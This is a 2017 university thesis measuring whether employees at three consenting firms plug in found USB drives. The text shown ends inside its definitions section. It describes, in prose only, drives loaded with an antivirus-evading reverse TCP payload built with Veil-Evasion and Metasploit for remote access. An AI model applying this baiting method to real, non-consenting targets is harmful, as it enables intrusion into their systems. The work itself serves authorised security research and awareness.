IT Forensic and Information Security 180p
The Effectiveness of Social Engineering as a Cyber-Attacking Vector
People Do Use Unknown USB Drive, They Find

Isaac Yaw Ferguson
IT Forensic and Information Security Candidate Examination 15hp
Halmstad 2017-06-02

Supervisor: Urban Bilstrup
Examiner: Mattias Weckstén
ACKNOWLEDGMENT

The outcome of this project demanded assistance and innovative guidance. I am exceedingly grateful to everyone for making this project successful.

I would like to connote my extraordinary thanks of gratitude to Mattias Wecksten. He has been an instrumental adviser and a helper, and I thank Urban Bilstrup for his support.

I gratefully acknowledge the three organizations that gave me the opportunity, their support and their willingness of participation. They entrusted me with their sensitive information and system infrastructures. Thanks to Viktor Andersson at Plastinject Company, Hejna Trading, and Maze Verde Production Company. Thank you all for your involvement.

Finally, I am grateful for the support and encouragement by my colleagues during this experiment. This journey would not have been possible without them.

Thank You.
ABSTRACT

Information security importance is rising. Information security awareness is spreading, and this gives a clear picture of the growing demand for information security. Information security does not only consist of essential information but also the customer. An information system could be either a system user or a device. Protecting vital information is one of the security issues facing our modern technology, but also protecting system users. System users are the weakest link in information security chain due to wrong prioritizing of information security.

Standardization of information security must not differ across organizations. Although every organization has a prioritized level of protection, managing information security should not be completely different from one organization over the other. However, this is not the case. The standards of information security across multiple organizations differ. The gap between organizations concerning information security is enormous. The difference between organizations is due to how organizations value their information access. One of the main security issues confronting information security is the end-user security. System users are still the weakest link in the information security chain. An organization's security cannot depend only on the implemented system, but also, the security level of the system users. The end-users within an organization are essential in cultivating better information security practices. Neglecting end users' importance in information security makes it easier for cyber-attacks and end-users manipulations.

The inability to protect end-users as a physical system exposes the possibilities of manipulating end-users through various Social Engineering techniques to elicit essential information. Social Engineering is the term used to influence a person without their knowledge to give out sensitive information. Social Engineering comprises of different factors; psychology and computer science. Social Engineering acquires vital information by manipulating the weakest link in information security chains, the system user.

Social Engineering proves that end-users are still the weakest link in the information security chain. This experiment demonstrates that people do use unknown USB drive they find. The consequences of this act, in general, could be harmful. Moreover, that, there are possibilities through Social Engineering, to expose organizations' systems infrastructures to cyber-attacks.

The result from this project visualizes that, the most valuable assets an organization has are the people within the organization. An organization employee could expose a well-secured system to cyber-attacks without knowing about it.
# TABLE OF CONTENT

1.0 INTRODUCTION ........................................................................................................... 1  
1.1 BACKGROUND ........................................................................................................... 2  
1.2 RELATED EXPERIMENTS ......................................................................................... 4  

2. OBJECTIVE .................................................................................................................. 5  
2.1 PROBLEM ................................................................................................................... 5  
2.2 THESIS QUESTION ................................................................................................... 6  
2.3 RESTRICTIONS .......................................................................................................... 6  
2.4 PROBLEMATIC PROBLEM THESIS ......................................................................... 6  

3.0 METHOD ..................................................................................................................... 8  
3.1 QUANTITATIVE, QUALITATIVE, SCIENTIFIC AND LITERATURE METHOD ............. 8  
3.1.1 QUANTITATIVE METHOD .................................................................................... 8  
3.1.2 QUALITATIVE METHOD ..................................................................................... 8  
3.1.3 SCIENTIFIC METHOD ......................................................................................... 9  
3.1.4 INTERVIEW ......................................................................................................... 9  
3.1.5 LITERATURE ....................................................................................................... 9  
3.2 CHOICE OF METHOD ............................................................................................... 10  
3.3 METHOD PROBLEM ................................................................................................ 11  
3.4 PROJECT ETHIC ....................................................................................................... 11  

4.0 THEORY .................................................................................................................... 13  
4.1 THEORETICAL INTRODUCTION ............................................................................. 13  
4.2 INFORMATION SECURITY ....................................................................................... 14  
4.3 INFORMATION SECURITY POLICY ......................................................................... 15  
4.4 PROGRAMS AND DEFINITIONS ............................................................................. 15  
4.4.1 KALI LINUX ROLLING (2016.2) ......................................................................... 15  
4.4.2 DEFINITIONS .................................................................................................... 16  
4.5 SOCIAL ENGINEERING (SE) .................................................................................. 17  
4.6.1 IMPERSONATION ............................................................................................... 18  
5.0 EXPERIMENT OUTLINE ......................................................................................... 22  
5.1 PRACTICAL OUTLINE ............................................................................................. 23  
5.2 EXPERIMENT PAYLOAD ........................................................................................ 23  
5.4 TEST FROM PRACTICAL OUTLINE ....................................................................... 25  
5.3 OUTLINED DETAILS ............................................................................................... 25  
6.0 RESULT ...................................................................................................................... 27  
6.1 PROBLEMATIC RESULT .......................................................................................... 27  
6.2 USB DRIVES SUMMARIZATION ............................................................................. 30  
7.0 DISCUSSION ............................................................................................................. 31  
7.1 BASIC PREVENTIVE MEASURES .......................................................................... 33  
8.0 CONCLUSION ............................................................................................................ 36  
8.1 FUTURE EXPERIMENT ........................................................................................... 36  
9.0 APPENDIX ............................................................................................................... 38  
9.1 PAYLOAD ILLUSTRATION ...................................................................................... 39  
9.2 VEIL-EVASION GRAPHICAL ILLUSTRATION ....................................................... 39
FIGURE OF CONTENT

FIGURE 1. CIA BLOCKS WITHIN INFORMATION SECURITY ............................................................... 14
FIGURE 2. SOCIAL ENGINEERING ATTACKING VECTORS ............................................................ 18
FIGURE 3. A PHISHING EXAMPLE ................................................................................................. 20
FIGURE 4. USB DRIVES USED DURING THE EXPERIMENT ..................................................... 22
FIGURE 5. VEIL-EVASION MALICIOUS CODE DETECTION ....................................................... 26
FIGURE 6. MALICIOUS CODE DETECTION FOR ZIRIKATU ........................................................ 26
FIGURE 7. WRONGLY CONFIGURED USB DRIVES .................................................................... 27
FIGURE 8. REVERSE TCP CONNECTION .................................................................................... 28
FIGURE 9. DEMONSTRATION OF ACTIVE SESSIONS ............................................................... 29
FIGURE 10. VICTIM’S SYSTEM INFORMATION ............................................................................ 29
FIGURE 11. CLOSING ACTIVE SESSIONS .................................................................................... 30
FIGURE 12. AN INCIDENT RESPONSE OUTLINE [41] ............................................................... 34
FIGURE 13. EXPERIMENTAL AGREEMENT FROM ORGANISATION 1 ....................................... 38
FIGURE 14. EXPERIMENTAL AGREEMENT FROM ORGANISATION 2 ....................................... 38
FIGURE 15. ADDITIONAL USB DRIVES .................................................................................... 39
FIGURE 16. VEIL-EVASION PAYLOAD LIST ................................................................................. 39
FIGURE 17. VEIL-EVASION PAYLOAD CREATION (STEP 2 TO 4) .............................................. 40
FIGURE 18. VEIL-EVASION PAYLOAD CREATION (STEP 5 AND 6) ............................................ 40
FIGURE 19. VEIL-EVASION PAYLOAD CREATION (STEP 7) ....................................................... 40
FIGURE 20. VEIL-EVASION PAYLOAD CREATION (STEP 8) ....................................................... 41
FIGURE 21. METASPLOIT FRAMEWORK .................................................................................... 41
FIGURE 22. CREATING HANDLER AND LISTENING PORT ......................................................... 41
FIGURE 23. ZIRIKUTA PAYLOAD CREATION (STEP 1 TO 2) ..................................................... 42
FIGURE 24. ZIRIKUTA PAYLOAD CREATION (STEP 3 TO 4) ..................................................... 42
FIGURE 25. ZIRIKUTA PAYLOAD CREATION (STEP 5) ............................................................... 42

TABLE OF CONTENT

TABLE 1: GRAPHICAL SUMMARIZATION OF USB DRIVES .......................................................... 32
1.0 INTRODUCTION

A few years ago, our internet world was less interconnected. There is a new era of the interconnected internet world. Through technology, links between people, properties, ideas and daily living are more interconnected. The Internet has created a better communication medium as compared to a few years ago. Most of our daily activities involve computer systems and the Internet. The Internet aids in communicating, creating and interconnecting businesses, as well as providing valuable information.

The introduction of the Internet has modified the means of human interactions, business connectivity, and different kinds of social media. In 2014, 40% of the world’s population used the Internet compared to 16% in 2005 [1]. The statistic shows a vivid difference between the uses of the Internet. The expansion rate of modern technology is increasing each year. The introduction of the Internet has had positive and negative effects on information security. The medium in which we communicate during this 21st century is much more than before. The Internet has aided in possibilities of anonymity and the negative rate of Internet crimes in the society [2]. The improvement created by technology in areas like communication, cannot be denied nor the frequency of cyber-crimes. Many different cyber attacking vectors and information breaches go unnoticed. Security is about conveying trust, which exists in our modern world but faces various security issues. Previous cybercrimes have created information security awareness, but many do focus on the wrong impressions. People are used to the term hacking and hackers than security issues facing information security. Technology interconnects ideas, systems, people and intellectual properties. Technology provides a straightforward means in which one can retrieve vital information concerning a preferred target. Preventing information security breaches has never been slighter. Many parts coordinate to offer a preventive measure to a data breach. Hardware, software, physical security as well as human security increases information security. Countermeasures such as firewalls, system updates, packet filtering, intrusion-detection systems and intrusion prevention systems are the few solutions. Implementation of an authentication system, physical securities are other preventive measures that boost information security.

Human beings are eligible for information security attacks [3]. Computer systems are not the only system vulnerable to hacking techniques. People are also insecure as much as computer systems in information security. The implementations of computer security measures are not the same as in protecting system users from security attacks. Unfortunately, protecting human beings under the information security chain is more laborious than safeguarding a computer infrastructure. The acknowledgment that humans are vulnerable to information security attacks is not widely known; this makes it even harder to protect secured infrastructures and uneducated users from information security attacks. To achieve adequate information security, equally prioritizing all components of information security is vital. Protecting one part of the security chain would eventually weaken the information security chain. A system infrastructure that consists of physical components, physical location and users must have a similar level of protection to guarantee adequate security protection. This practice provides a withstanding information security chain.

Every system has a user. A system functionality depends on the interaction of the users. A system user is a link between an implemented system infrastructure and a protective measure such as physical protection. By protecting system infrastructure more under information security chain makes systems users the weakest link under information security chain.
The possibility of manipulating users through interactive means proves the human weakness in information security chain [4]. End users’ manipulation is one means of gaining access to a secured system, but there are numerous security measures to help protect users and systems.

Social interactions exposed to end users to dangerous cyber-attacks. The lack of information security awareness is a factor that contributes to making humans the weakest link within the information security chain. Even with a robust system, hackers find means into penetrating secure systems. One of the successful methods in gaining control over systems is, by exploiting system end-users. The term used to describe this act is Social Engineering.

Social Engineering “is pretending being something that you are not, with the goal of tricking someone into giving you information they usually should not give you” [5]. The term Social Engineering is an act of deception and manipulation of individuals, which seems proper to the victim, but a strategic plan to gain valuable information by an attacker. There are many ways to initiate social contacts; this also applies to how one becomes a victim of Social Engineering attackers. There is not a general routine in launching a Social Engineering attack, but many Social Engineering attacks have a similar approach. The standard steps include information gathering, confrontation, and exploitation. Examples of Social Engineering acts are phishing, baiting, tailgating, etc.

It is harder to gain access to secured systems but more natural to manipulate non-knowledgeable end-users into aiding a malicious attack. Not everyone understands the negativity that Social Engineering has on both humans and systems. People do use devices without thinking about how it can affect, help or aid in malicious attacks. There is a trend that users willingly use an external device on both personal and organizational systems.

We live in a world that revolves around technology. Technology is the backbone to perform most of our daily activities such as online banking, registration of students, controlling electronic home appliances and so forth. Non-knowledgeable end-users compromises secured systems even though there is an incensement in security level of technological systems used. We cannot entirely control our behavior and interactions, making it impossible to prevent Social Engineering but strategic measures and awareness can help end some of its effect on groups and individuals. Technological systems are not without vulnerabilities, but end-users are easier targets to gain access to secured networks.

1.1 BACKGROUND

The integration of technology is fast growing. Mostly, technological appliance aids our day-to-day activities, from implementation of home security to an every-day business conversation. Our day to day activities contains delicate information, ranging from medical information to work-related information and personal communication. Organizations also have sensitive information, but the security aspect of protecting this information differs from one institution after the other.

Information security is one of the prioritized sectors of many organizations. Many factors have contributed to the high demand for information security. Data breach as an example, affect the reputation of an organization. Information breach occurs across different sectors. There is neither a specific sector nor a statistic result that indicates a preferred industry targeted by hackers.
All areas are vulnerable to electronic attacks. Financial damage to organizations, damages of intellectual properties, etc. are effects of computerized attacks [6] [7]. Hacking is one of the major topics in our society. Individuals, organizations and the community are investing vast sums of money in adding security. The exploitations of security flaws have also increased preventive measures, but these solutions are not enough. There is the need for newer solutions to attacks due to the facts that further attacks keep revolving.

A recent experiment has proven that people do plug in an unknown USB drive they find [5] [8]. Performing such an act can have negative consequences on an organization’s computer system. USB drives that contain a malicious code can easily infect computer systems. This project shows that this act by exploring found USB drive persist in our society. The routine of performing any action depends on the individual's knowledge. It is human nature to preview what is harmful or safe. The idea or the reason behind using an unknown USB drive can be of either curiosity or temptation. To understand this human behavior, studying self-control and social norms are vital [9] [10]. Using individuals' security awareness flaws as a measuring method helps understand more about human vulnerabilities. Many organizations are aware of the security issues facing technological systems. Organizations educate and implement better security measures to help mitigate these threats. In 2007, a financial company tested employees’ security awareness. By using a baiting attack. Baiting is one example of a Social Engineering attack. The employees fell to the manipulation, making organizational systems remotely accessible. The security test portrayed how knowledgeable employees were about Social Engineering [4].

Mostly, specific state organs control how state organizations' information security functions, routines, and policies to follow. In understanding government organizations' security, a security auditing by an IT expert showed security flaws that exist during government organizations. A newspaper organization published the result of the experiment outlining how many governmental organizations that understood information security awareness [11]. The experiment was to acknowledge whether there were possibilities that could guarantee access to organizations' systems through Social Engineering act. Security awareness about using an unknown USB varies. Not every organization could detect this act of social manipulation [12].

J. R. Jacobs investigated whether there is a difference between organizational employees and a general individual in the use of unknown USB drives in 2011. The experiment visualized that there was no distinguishable difference between a person and an organization’s employee when it comes to USB baiting attacks [8].

Another publication report from the University of Illinois, Michigan in collaboration with Google in the USA, depicted that people plugged in USB drive found on campus. Out of the 297 USB placed; 45 % of individuals used the USB drives found [5].

Individuals, private and state organizations, and the society are trying to ensure information security measures since none of them is immune to information security attacks. Many performed experiments highlighted the general behavior of people using an unknown USB drive, and the motives behind these experiments motivate aim of this project.
1.2 RELATED EXPERIMENTS

This chapter provides detailed information about tests related to this project from scientific research, articles and student thesis. This chapter also contains experiments and information about exploring human weakness during IT attack through Social Engineering act.

An article publication by kryptera.se "Granskar IT-säkerheten med USB minne" (2016), presented how state organizations such as hospitals see threats imposed by Social Engineering and the use of USB drive.

Many organizations did not see any risk in educating users on the risks and result of using an unknown device. The experiment tested users across many governmental organizations, about IT policies and Social Engineering attacks [12].

In "Social Engineering, the USB Way," by Steve Stasiukonis showed a means of testing a company's security through Social Engineering experiment (USB drive baiting). The conducted research was to figure security weakness, enhance security awareness and thereby help build organization security. The USB drive used during this experiment contained a Trojan horse program, which when explored affects the organization's computer system. The research revealed vital sensitive information such as username and password, computer names, etc. [4].

In "The Strength Model of Self-control" presented by Roy F Baumeister, Kathleen D. Vohs and Diame M. Tiee, explained the behavior of restraint in social life. Intellectual behavior to outwit risk is vital to humans, which apparently depends on self-control. Understanding the critical reasoning of control is applicable across the mass spectrum of life [10].

The experiment "Users Really Do Plug-in USB Drive They Find" performed by University of Illinois, Michigan and Google Inc., tested whether individuals do explore found USB drives. The experiment used nearly 300 USB drives (excluding three damaged USB drives). The placing of USB drives happened across three different university campus. The USB drives contained an HTML file that generates a statistic about how many USB drives was explored [5].

Jacob's investigation [8] to decide whether there are any differences in security of a private or as an organization's employee, produced a report about the destructive nature of USB drives. People explored Eleven (11) USB out of 60 placed USB drives during this experiment. The victims of the research were both from commercial and residential areas. The study showed there was no difference between people's actions through social manipulation [8].

Testing the willingness and self-control in "The Marshmallow Test: Mastering Self-control" revealed how kids reacted when presented with marshmallows. This test is an example of psychological manipulation. One gets a reward for having self-control under this experiment. To earn a bonus, one should show the tendency of restraint. In conclusion, a progressive rate as an individual withstanding and gaining self-control is applicable in the future when a similar situation arises [9].
2. OBJECTIVE

This project aims to test how Social Engineering can expose an organization system to cyber attacking techniques. The goal is to deduce whether organizations' employees have the trend of using unknown USB drives they find (Social Engineering technique) and whether training and policies could help minimize Social Engineering.

The uses of the computer and electronic devices are familiar across organizations. Individuals use these systems to do their daily working activities. The excellent functionality of these integrated technological systems makes it more valuable and essential. When these systems do not work as intended, it does not only cause financial loss but also, affect other daily tasks.

The secondary aim of this project is to educate and highlight the public about one of the most efficient attacking vectors overlooked by many organizations.

This project will help to analyze how organizations understand Social Engineering, using social manipulation to test security awareness of organizational employees. Also, whether educating and training employees about Social Engineering attacks could help reduce that impact of Social Engineering attacks. The project addresses human behavior, through self-control and resistance to Social Engineering attack, thus; whether people plug in USB drives, they find.

2.1 PROBLEM

An organization is a group of individuals working towards a common goal, and the risk of using an unknown USB drive could risk the aims of an organization.

There is a constant need for security; physical security, infrastructure security, and user’s security, etc. Many system users do not understand information security, thereby making secured systems weaker. There are descriptions both theoretical and experimental that, individuals do engage in plugging in unknown USB drives they find. People who saw it sometimes use the found USB drives. Curiosity to find out what is on the found USB drive is one reason that leads successful Social Engineering act. The idea of security is swiftly towards security infrastructure, and the actions of end-users put these secured systems at risk. Social Engineering is a growing problem. Countless information security attacks against private and public sectors have generated little awareness about security flaws in implemented IT infrastructures. The building blocks of the society are the secured infrastructures that we depend on, but we forget to include system users. IT infrastructures deliver security; mostly the security levels of the users are not as significant as the system. The human vulnerability put these systems at risk.

An organization might be a collective of distinctive cultures, distinct ethnic groups and even individuals with different intellectual understanding; this also affects how people understand security threats, rules, regulations, and its importance for information security. It makes it even harder to carry out policies, security measures at an organizational level.

Individuals do explore unknown USB drives they find. This act reveals users’ awareness during information security chain.
Our society is more dependent on IT infrastructures than it has been in the past. Technical infrastructures upgrade the standard of living, but the lack of self-control and poor information security awareness of end-users could collapse these systems. That is why it is important to know new threats, educating end-users about it and have well-documented policies, to help sail the society, organizations, and individuals through the modern world of technology.

2.2 THESIS QUESTION

*What are the trend and the awareness of organization employees plugging in an unknown USB drive they find (Social Engineering Baiting)?*

*How can an organization’s information security policy influence the trend and the tendency of Social Engineering?*

2.3 RESTRICTIONS

This project is not going to experiment all the types of Social Engineering attacks. The focus of this project is on baiting techniques and the tendency of individuals (organizations' employees) plugging in an unknown USB drive they find. The most important aspect of this project is to find out whether people will use organizations systems to explore contents of the found USB drives.

Baiting as a Social Engineering attack is the sole attacking vector that considered during this experiment. Concerning baiting (attack) the only device used is a USB drive, and there are no considerations about other devices such as CD drives, and other external devices.

An organization could have different policies across different departments, but this project concentrates on information security awareness and procedures, specifically, policies related to Social Engineering attacks. There is a restriction on the total number of participating organization under this experiment. There are only three (3) organizations participating in this experiment.

2.4 PROBLEMATIC PROBLEM THESIS

To get relevant data that would enlighten the results of this experiment, the experimenter, and the victim must have access to the Internet. The best means of collecting data is by using the Internet as an information-gathering medium.

Internet connectivity affects the result of this experiment. Recording experimental data is only possible using Internet connectivity. The Experimenter can only document information when victims explore the found USB drive if both the victim and the experimenter simultaneously have internet access. Documentation of results will not be attainable if one party does not have internet access during the exploitation stage.
As part of this experiment, the used USB drives contain malicious code. Anti-virus programs play a crucial role to obtain a relevant result because the malicious code must not be detectable. An anti-malicious program restricts malicious code from functioning. The outcome depends on the use of the actions of the individual and the functionality of victims' anti-virus programs. To get a positive result that proves the aim of this experiment undetectable malicious code is essential. It will be impossible to record any information by a victim if anti-virus program detects and delete the malicious code.

Three organizations are participating in this project. The result obtained from these participating organizations cannot be a represented result for organizations not participating in this experiment. The security level of these organizations can differ from non-participating organizations, thereby, making it impossible to categorize every organization according to the result of this experiment.

USB drives are not large devices. The tiny size of USB drives could affect the discovering rate, eventually minimizing actual data collection. The USB drives are noticeable if they are in the direct path of the victim.

Unpredictable natural disaster can damage USB drives. The uncontrollable effects of a natural disaster such as rain, snow, etcetera, can affect or destroy the USB drives. There is no evidence, which could prove the destruction of the USB drive if it happens during the experiment. Any natural disaster could damage the placed USB drives, which will affect the generated result from the research.

One employee can find several devices. The possibility by which an employee could see numerous USB drives would decrease the outcome of the project. The result gained would not show the intended aim, if one employee finds and uses multiple USB drives.
3.0 METHOD

This chapter explains different methods and a chosen method for this method. The preferred method will facilitate the possibility of answering the project thesis and a result that is acceptable.

3.1 QUANTITATIVE, QUALITATIVE, SCIENTIFIC AND LITERATURE METHOD

The listed methods are different research methods, which are relevant to this experiment. These methods could help obtain data that prove the project thesis.

3.1.1 QUANTITATIVE METHOD

In a quantitative analysis method, researchers have an interest in a specific problem. Knowing the research area helps set up an analyzing pattern related to the problem. During this method of research, results are mathematically represented [13]. The ways of gathering data, observing and analyzing data and documentation could be attained using survey questionnaires. Although a quantitative method requires having a hypothesis in mind, it also requires that the researcher understand the effect one variable has on the other. Furthermore, this study describes a problem trend and seeks answers that relate to the pattern and variations in the chosen variable. Giving that a researcher understands the variable during an experiment, they are also interested in whether a change of variable could also have a subsequent effect upon the outcome. This method can only prove a known hypothesis right from wrong.

3.1.2 QUALITATIVE METHOD

A qualitative method explores an unknown variable. A qualitative approach requires a researcher’s willingness in exploiting a hidden variable to gain adequate information. The experimenter utilizes the unknown variable by interacting with the variable [13]. Results represented during this study provide credibility of the studied variable in a real-world environment, an environment that is natural to the studied variable.

A qualitative method is not a mathematical data representational method. During this research method, statistically representation, as a result, is not the aim of the experimenter, but credible collected data that can represent an entire range of a studied variable [14]. A qualitative method strives to serve the obtained result during research, which answers the goal [s] of an experiment. The concept of the qualitative approach also helps in explaining a social process in its natural environment; thus, by giving participants the ability to do their daily activities during the experiment.

The qualitative method also focuses on emerging concepts from existing events and presenting it as research, not as an event but a result from a study during its natural occurrence [15].
In a qualitative method, the research question has little to do with the literature chosen to help understand the studied variable. Although there would be a need to consider kinds of writing, these literature do not give an adequate direction to the research question, only the interactions with the studied variable that provide enough data for analyzing [16].

### 3.1.3 SCIENTIFIC METHOD

A scientific research approach is an experimental method based on an earlier known experiment. To get relevant information, a continuous study of the variable during it real-world environment provides sufficient data. This method of approach makes a predictable logic result about hypothesis gain from another experiment. The obtained result from the new research can only prove the previous test wrong from right [17].

Scientific research can have either a monitored or an uncontrolled variable. Controlled experiments take place in a laboratory. Laboratory research can control the studied variable, and repetition of similar analysis guarantees the same result. An independent scientific research method is a method performed during real-world circumstances. Uncontrolled research is hard to replicable; this is one of the objectives to analyze whether an obtained result is either true or false [18].

### 3.1.4 INTERVIEW

An interview is an interactive research method. An interview method shapes one's understanding of a subject. Language as a medium creates a means of portraying one's idea, answers to asked questions or discussions. It is not only the language that defines this method but also researcher's experience in discovering information through questionnaires. To have a better outcome from an interview, one must understand the concept of what an interview is.

An interview method is through conversation. The medium of communication could differ, but the aim is to acquire related information through questionnaires. An interviewed approach is a technique by discussing one's experiences and not description and narration of someone's perspectives on a problem. The important detail of an interview relies on both the researcher and the communicator. The types of questions asked must be open-end questions with the possibilities of expressing one's self to suit both the interviewer and the communicator [19].

### 3.1.5 LITERATURE

Literature is a written art that has intellectual value. Few kinds of literature considered to help understand human behavior and the effect of Social Engineering.

The topics of these books are about Social Engineering, human behavior and information security policies and structure.
These books give a basic understanding of what Social Engineering is, explanations of human interactions and decision during confronted situations. Below is the considered literature.


Sandy Bacik (2008), “Building an effective information security policy architecture” [21].


3.2 CHOICE OF METHOD

The choice of method is dependable on the targeted results from this project and successful results from other related experiments. Using a similar approach proven by another experimenter gives adequate support in achieving significant results. The chosen method offers a sufficient platform to obtain relevant information, which could determine and provide solutions to the project’s goals.

Qualitative method is one of the chosen methods upon which this project is. To be able to interact with an unknown variable in their natural environment is the reason behind this choice. This experiment does not focus on representing results mathematically, making this choice of a method applicable.

Human behavior is a science trait. This project analyses the experimental variables. To gain more information on the response and the interactions of an uncontrolled variable, the choice of the method that suits this procedure is a scientific method. Social science method helps in analyzing whether human behavior and self-restraint traits could improve the way we make decisions.

Literature provides theoretical knowledge and a reference point. Literature facilitates this project because it possesses vital information.

The chosen literature gives further academic background to the project. It explains the subject, Social Engineering, gives theoretical mitigation for Social Engineering and reasons why social interactions are one of the uncontrollable human factors.

Based on the desired results, traits in understanding human are, and academic knowledge as a reference point during this project, qualitative method, scientific and literature methods are ideal for this experiment.
3.3 METHOD PROBLEM

There is no assurance that this experiment could generate a result related to earlier related experiments. Although there is trend tendency, which shows that, other tests gained similar results, there is no guarantee that it will be the same for this project.

Firstly, knowledge, scenarios, and ideas taken from literature could be different during real-world environment, making the outcome of this project hard to predict. Not everything included in this chosen literature could show steps that could make this experiment successful. Building this experiment only on the chosen research could mislead the aims of this project and thereby making it impossible to justify the goals of this experiment.

This project is a continuation of an earlier conducted project, "Social Engineering jeopardizes organizations" [26]. It is impossible to predict the outcome of this project, even though the previous experiment gave a positive result. The successful conclusion of the earlier experiment [26] could differ during its continuation. Although both tests focus on organizations, impersonation Social Engineering acts and baiting technique is two different categories of Social Engineering. Both experiments are about Social Engineering act but different types of Social Engineering act. One cannot compare the result of both experiments.

The real phenomenon is to influence people to indulge in behaviors that could have severe consequences on an organization's infrastructure. To be able to affect human beings, it is essential to have adequate knowledge in communication, predicting and understanding facial language. Getting to know how a person feels and wants during conversation is a massive advantage in influencing a person. During this experiment, individuals are indirectly manipulated but through a scenario by which they could become a potential victim.

Potential victims must be under their natural environment. Because this project only focusses on participated organizations, a successful result outside the organization does not count. If an individual performs the desired action by exploring the found USB drive away from the organization environment, during private environment, the result of this act is invalid. However, this project is to prove whether people do use unknown USB drive they find. If one's reaction does not affect the organization, thus actions performed in a private environment such as one’s home can help prove the project aim.

Not including successful results outside participating organizations will also affect the outcome of this experiment. This experiment is performed at specially chosen organizations, making the finding of the experiment invalid if it is used to judge every single organization that is not included in this experiment. This is because the outcomes could differ from one organization to the other. Performing similar tests during different circumstances will affect the general outcome. It is the same as showing similar experiments at two different organizations. Therefore, the result from this report cannot be generalized (as a general result) for every organization but only to those participating organizations.

3.4 PROJECT ETHIC

This experiment contains sensitive information. Due to ethical reasons, confidential data from this project is not included in this report. Omitting this information is the agreement made between the
experimenter and the organizations. This agreement permits the experimenter to conduct this experiment for ethical reasons. The agreement statement is in the appendix chapter for verification.

A scientific experiment should not have any adverse effect on the studied variable. Conducting a Social Engineering experiment could affect victims mentally. Social Engineering (Baiting) could have a personal impact on victims if they find out their action had severe consequences on the organization if a victim’s actions led to the planned attack. Explaining the importance of the experiment is necessary during this experiment. The explanations about the project would help both victims, and the organization understands the aim of this experiment.

A reverse TCP payload creates connectivity to the victim’s computer. This type of connection could remain undetected by the victim. Remaining undetectable provides unlimited remote access to the victim's machine [27] [28]. The solutions to prevent this from happening, the malicious payload has a deadline, which makes it inactive after a period. The experimenter will manually be shutting down the connectivity link between the victim’s computer and the experimenter after documenting the information agreed by both parties according to the experiment agreement.

The IP addresses from this experiment are not visible according to the signed agreement. For clarification, the experimenter can give out the IP addresses to the examiner.
4.0 THEORY

This phase presents general definitions, fundamental concepts about information security, theoretical knowledge and explanations of the types of Social Engineering that are significant and related to this project.

4.1 THEORETICAL INTRODUCTION

To support the concept about how little people know about Social Engineering, the experiment did also concentrate on books, published articles about Social Engineering incidence and past scientific experiment about Social Engineering [4] [8].

Kevin Mitnick has presented many stories about Social Engineering, which highlight some of the most critical features of lack of human security. Understanding how humans behave and react to social influence helps in forming information security rules; this is because security implementation must be for both users and systems. End-users should have adequate knowledge about security and human manipulation [23] [25].

To understand what Social Engineering is, chosen literature covers basic understanding about how human interactions consist of social vulnerability traits. Human beings have characters that make us vulnerable to technological attack. Through Social Engineering attacks, influenced individuals generally give in to attack and expose vital information [20] [24]. People are interactive social beings. Being human makes it even harder to mitigate Social Engineering. There are technical ideas, policies' steps, and other countermeasures that can help limit Social Engineering act. Technically and educational solutions could add a layer of security in preventing Social Engineering attacks [21] [22].

J. R. Jacobs from Embry-Riddle Aeronautical University 2011 performed a Social Engineering experiment aimed to find whether there is any difference between real-estate people and organizational employee about plugging in found USB drive [8].

By testing an organization’s employees’ security awareness through Social Engineering (baiting) performed by Steve Stasiukonis in 2007 [4] revealed how vital end-users are within the information security chain.

Jimmy Andersson, Skövde University presented a security policy effect in writing and its practical effect. For broader knowledge and a more in-depth understanding, other online articles about Social Engineering facilitated this project.
4.2 INFORMATION SECURITY

Our daily lives contain sensitive information. This information is vital and needs protection. The means in which we communicate to have increased and communication mediums are more dependable than before. A more substantial part of our everyday communications is a treasury. A reliable system needs all its parts. A balanced system should give protection and perform well under multiple attacks. The term “security” can be defined in different ways. In Figure 1, with a concept motivated by SIS, illustrates the basics of information security. CIA - Confidentiality, Integrity, Availability.

![CIA blocks within information security](image)

Confidentiality: This seeks to prevent the unauthorized disclosure of information. This means that only an authorized person or device may have access to specific information. It may also include when and how to handle the data. An example of a confidentiality attack would be the theft of personal information such as credit card information and passport details.

Integrity: A means to prevent unauthorized modification of information. This defines authentication of data. The received data should be original. Alteration of information should be possible for only authorized persons or devices.

Availability: Information subjected to availability ensures that information is available when needed. Only an authorized individual should be able to access required data at any given time. An availability attack would be a denial of service (DoS) attack, which makes desirable information inaccessible when needed.
4.3 INFORMATION SECURITY POLICY

An information security policy aims to integrate availability, integrity, and confidentiality of resources. Information security policies offer guidelines for system users. A policy should be clear and precise about its message.

What is an information security policy?

A policy is a guiding document that outlines specific regulations and rules. Concerning information security policies, this is pinpoint documentation that describes the proper use of computer infrastructure and a hierarchical structure of the use of information. A well-documented and structured information security policy must guide users and can correct security flaws made by users within an information security procedure. Information security policies of organizations should not include just routines and rules but a responsive plan, which outlines the goals of the policies. An information security policy must be easily accessible, easy to understand to avoid misinterpretation. Organizations should prioritize availability of security policy and a useful application of the policy such as applying strategies through a practical scenario. Unclear policy can limit the implementation and challenge to follow. If policies are vague, it can even irritate, as users might not see the value of it.

4.4 PROGRAMS AND DEFINITIONS

This part describes programs used during this project. An application missing an explanation in this phase will be defined when used within a context to facilitate the understanding of the program.

4.4.1 KALI LINUX ROLLING (2016.2)

Kali Linux is a Debian-based operating system designed for forensics, information security testing and network security [29]. Kali Linux is installed either on a hard disk or by booting a live Kali Linux from a bootable device such as a USB drive or a CD drive.

Why is Kali Linux?

Kali Linux aids in analysing and testing a system’s security and analyzing security through ethical hacking. The many inbuilt programs that are included in the Kali Linux operating system is one of the factors for using this program.

There are distinctive programs for different testing scenarios, but SET (Social Engineering Toolkit), and Metasploit Frameworks are examples related to this project.

Metasploit is one of the most freely used penetration testing programs. Metasploit updates their attacking vector database, making it possible to test newer vulnerabilities that could bypass many
security rules. The Metasploit program provides a user-friendly environment, making it easier to use and better than other alternatives. Below is a citation from Metasploit program homepage.

“Attackers are always developing new exploits, and attack methods—Metasploit penetration testing software helps you use their weapons against them. Utilizing an ever-growing database of exploits, you can safely simulate real-world attacks on your network to train your security team to spot and stop the real thing” [30].

4.4.2 DEFINITIONS

This chapter defines technically used words that need an explanation to understand.

**Payload** - In computer security, a payload refers to a part of the malicious software that could give perpetrator access granting, deleting and change of a document or the ability to perform actions, which could go undetected. A payload categorized as malware has the potential to spread itself and even to an extent to avoiding detection [31].

**Transmission Control Protocol (TCP)** – This is a transmission protocol for delivering reliable and error-checked messages. Email service is one of the applications that use TCP. By TCP connection, one can have a remote administration to an affected system.

